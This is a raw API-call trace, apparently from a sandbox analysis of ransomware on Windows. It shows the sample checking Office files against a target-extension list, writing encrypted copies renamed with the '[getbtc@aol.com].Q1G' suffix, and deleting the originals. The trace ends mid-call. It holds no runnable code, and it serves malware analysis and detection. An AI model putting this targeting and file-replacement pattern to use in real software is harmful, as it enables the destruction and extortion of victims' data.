DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 1 [0253.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.751] lstrlenW (lpString=".doc") returned 4 [0253.751] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0253.751] lstrlenW (lpString=".docx") returned 5 [0253.751] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0253.751] lstrlenW (lpString=".pdf") returned 4 [0253.751] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0253.751] lstrlenW (lpString=".xls") returned 4 [0253.751] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0253.751] lstrlenW (lpString=".xlsx") returned 5 [0253.751] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0253.751] lstrlenW (lpString=".ppt") returned 4 [0253.751] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0253.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.751] lstrlenW (lpString=".zip") returned 4 [0253.751] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0253.751] lstrlenW (lpString=".rar") returned 4 [0253.751] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0253.751] lstrlenW (lpString=".bz2") returned 4 [0253.751] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0253.751] lstrlenW (lpString=".7z") returned 3 [0253.751] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0253.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.751] lstrlenW (lpString=".dbf") returned 4 [0253.751] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0253.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.752] lstrlenW (lpString=".1cd") returned 4 [0253.752] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0253.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.752] lstrlenW (lpString=".jpg") returned 4 [0253.752] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0253.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.752] lstrlenW (lpString=".doc") returned 4 [0253.752] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0253.752] lstrlenW (lpString=".docx") returned 5 [0253.752] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0253.752] lstrlenW (lpString=".pdf") returned 4 [0253.752] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0253.752] lstrlenW (lpString=".xls") returned 4 [0253.752] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0253.752] lstrlenW (lpString=".xlsx") returned 5 [0253.752] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0253.752] lstrlenW (lpString=".ppt") returned 4 [0253.752] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0253.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.752] lstrlenW (lpString=".zip") returned 4 [0253.752] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0253.752] lstrlenW (lpString=".rar") returned 4 [0253.752] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0253.752] lstrlenW (lpString=".bz2") returned 4 [0253.752] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0253.752] lstrlenW (lpString=".7z") returned 3 [0253.752] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0253.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.752] lstrlenW (lpString=".dbf") returned 4 [0253.752] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0253.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.752] lstrlenW (lpString=".1cd") returned 4 [0253.752] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0253.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0253.753] lstrlenW (lpString=".jpg") returned 4 [0253.753] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0253.753] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0253.753] lstrlenW (lpString="PUB6INTL.DLL.IDX_DLL") returned 20 [0253.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.753] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=67968) returned 1 [0253.753] CloseHandle (hObject=0x390) returned 1 [0253.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll")) returned 0x20 [0253.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.754] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.754] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.754] GetLastError () returned 0x0 [0253.754] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x10980, lpOverlapped=0x0) returned 1 [0253.757] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x10990, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x10990, lpOverlapped=0x0) returned 1 [0253.759] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.759] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0253.759] SetEndOfFile (hFile=0x3ac) returned 1 [0253.759] CloseHandle (hObject=0x3ac) returned 1 [0253.759] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.759] SetEndOfFile (hFile=0x390) returned 1 [0253.763] CloseHandle (hObject=0x390) returned 1 [0253.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll")) returned 1 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.764] lstrlenW (lpString=".doc") returned 4 [0253.764] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString=".docx") returned 5 [0253.764] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.764] lstrlenW (lpString=".pdf") returned 4 [0253.764] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString=".xls") returned 4 [0253.764] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString=".xlsx") returned 5 [0253.764] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.764] lstrlenW (lpString=".ppt") returned 4 [0253.764] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.764] lstrlenW (lpString=".zip") returned 4 [0253.764] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString=".rar") returned 4 [0253.764] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString=".bz2") returned 4 [0253.764] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString=".7z") returned 3 [0253.764] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.764] lstrlenW (lpString=".dbf") returned 4 [0253.764] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.764] lstrlenW (lpString=".1cd") returned 4 [0253.764] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.764] lstrlenW (lpString=".jpg") returned 4 [0253.764] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.765] lstrlenW (lpString=".doc") returned 4 [0253.765] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.765] lstrlenW (lpString=".docx") returned 5 [0253.765] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.765] lstrlenW (lpString=".pdf") returned 4 [0253.765] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.765] lstrlenW (lpString=".xls") returned 4 [0253.765] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.765] lstrlenW (lpString=".xlsx") returned 5 [0253.765] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.765] lstrlenW (lpString=".ppt") returned 4 [0253.765] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.765] lstrlenW (lpString=".zip") returned 4 [0253.765] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.765] lstrlenW (lpString=".rar") returned 4 [0253.765] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.765] lstrlenW (lpString=".bz2") returned 4 [0253.765] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.765] lstrlenW (lpString=".7z") returned 3 [0253.765] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.765] lstrlenW (lpString=".dbf") returned 4 [0253.765] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.765] lstrlenW (lpString=".1cd") returned 4 [0253.765] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68 [0253.765] lstrlenW (lpString=".jpg") returned 4 [0253.765] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.765] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0253.765] lstrlenW (lpString="PUB6INTL.REST.IDX_DLL") returned 21 [0253.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.766] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=269184) returned 1 [0253.766] CloseHandle (hObject=0x390) returned 1 [0253.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 0x20 [0253.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.766] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.767] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.767] GetLastError () returned 0x0 [0253.767] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x41b80, lpOverlapped=0x0) returned 1 [0253.913] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x41b90, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x41b90, lpOverlapped=0x0) returned 1 [0253.918] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.918] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0253.918] SetEndOfFile (hFile=0x3ac) returned 1 [0253.918] CloseHandle (hObject=0x3ac) returned 1 [0253.919] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.919] SetEndOfFile (hFile=0x390) returned 1 [0253.926] CloseHandle (hObject=0x390) returned 1 [0253.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 1 [0253.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0253.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0253.936] lstrlenW (lpString=".doc") returned 4 [0253.936] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.948] lstrlenW (lpString=".docx") returned 5 [0253.948] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.948] lstrlenW (lpString=".pdf") returned 4 [0253.948] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.974] lstrlenW (lpString=".xls") returned 4 [0253.974] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.984] lstrlenW (lpString=".xlsx") returned 5 [0253.991] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.991] lstrlenW (lpString=".ppt") returned 4 [0253.991] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0253.991] lstrlenW (lpString=".zip") returned 4 [0253.991] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.991] lstrlenW (lpString=".rar") returned 4 [0253.991] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.991] lstrlenW (lpString=".bz2") returned 4 [0253.991] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.991] lstrlenW (lpString=".7z") returned 3 [0254.006] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0254.006] lstrlenW (lpString=".dbf") returned 4 [0254.006] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0254.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0254.006] lstrlenW (lpString=".1cd") returned 4 [0254.006] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0254.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0254.006] lstrlenW (lpString=".jpg") returned 4 [0254.006] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0254.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0254.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0254.006] lstrlenW (lpString=".doc") returned 4 [0254.006] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0254.006] lstrlenW (lpString=".docx") returned 5 [0254.006] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0254.006] lstrlenW (lpString=".pdf") returned 4 [0254.006] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0254.006] lstrlenW (lpString=".xls") returned 4 [0254.006] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0254.006] lstrlenW (lpString=".xlsx") returned 5 [0254.006] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0254.006] lstrlenW (lpString=".ppt") returned 4 [0254.006] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0254.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0254.006] lstrlenW (lpString=".zip") returned 4 [0254.006] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0254.006] lstrlenW (lpString=".rar") returned 4 [0254.006] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0254.006] lstrlenW (lpString=".bz2") returned 4 [0254.006] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0254.007] lstrlenW (lpString=".7z") returned 3 [0254.007] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0254.007] lstrlenW (lpString=".dbf") returned 4 [0254.007] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0254.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0254.007] lstrlenW (lpString=".1cd") returned 4 [0254.007] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0254.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0254.007] lstrlenW (lpString=".jpg") returned 4 [0254.007] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0254.007] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0254.007] lstrlenW (lpString="SLINTL.DLL") returned 10 [0254.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.007] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=9088) returned 1 [0254.007] CloseHandle (hObject=0x324) returned 1 [0254.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll")) returned 0x20 [0254.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.008] lstrlenW (lpString=".doc") returned 4 [0254.008] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.008] lstrlenW (lpString=".docx") returned 5 [0254.008] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0254.008] lstrlenW (lpString=".pdf") returned 4 [0254.008] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.008] lstrlenW (lpString=".xls") returned 4 [0254.008] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.008] lstrlenW (lpString=".xlsx") returned 5 [0254.008] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0254.008] lstrlenW (lpString=".ppt") returned 4 [0254.008] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.008] lstrlenW (lpString=".zip") returned 4 [0254.008] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.008] lstrlenW (lpString=".rar") returned 4 [0254.008] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.008] lstrlenW (lpString=".bz2") returned 4 [0254.008] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.008] lstrlenW (lpString=".7z") returned 3 [0254.009] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.009] lstrlenW (lpString=".dbf") returned 4 [0254.009] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.009] lstrlenW (lpString=".1cd") returned 4 [0254.009] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.009] lstrlenW (lpString=".jpg") returned 4 [0254.009] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.009] lstrlenW (lpString=".doc") returned 4 [0254.009] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.009] lstrlenW (lpString=".docx") returned 5 [0254.009] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0254.009] lstrlenW (lpString=".pdf") returned 4 [0254.009] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.009] lstrlenW (lpString=".xls") returned 4 [0254.009] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.009] lstrlenW (lpString=".xlsx") returned 5 [0254.009] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0254.009] lstrlenW (lpString=".ppt") returned 4 [0254.009] lstrcmpiW 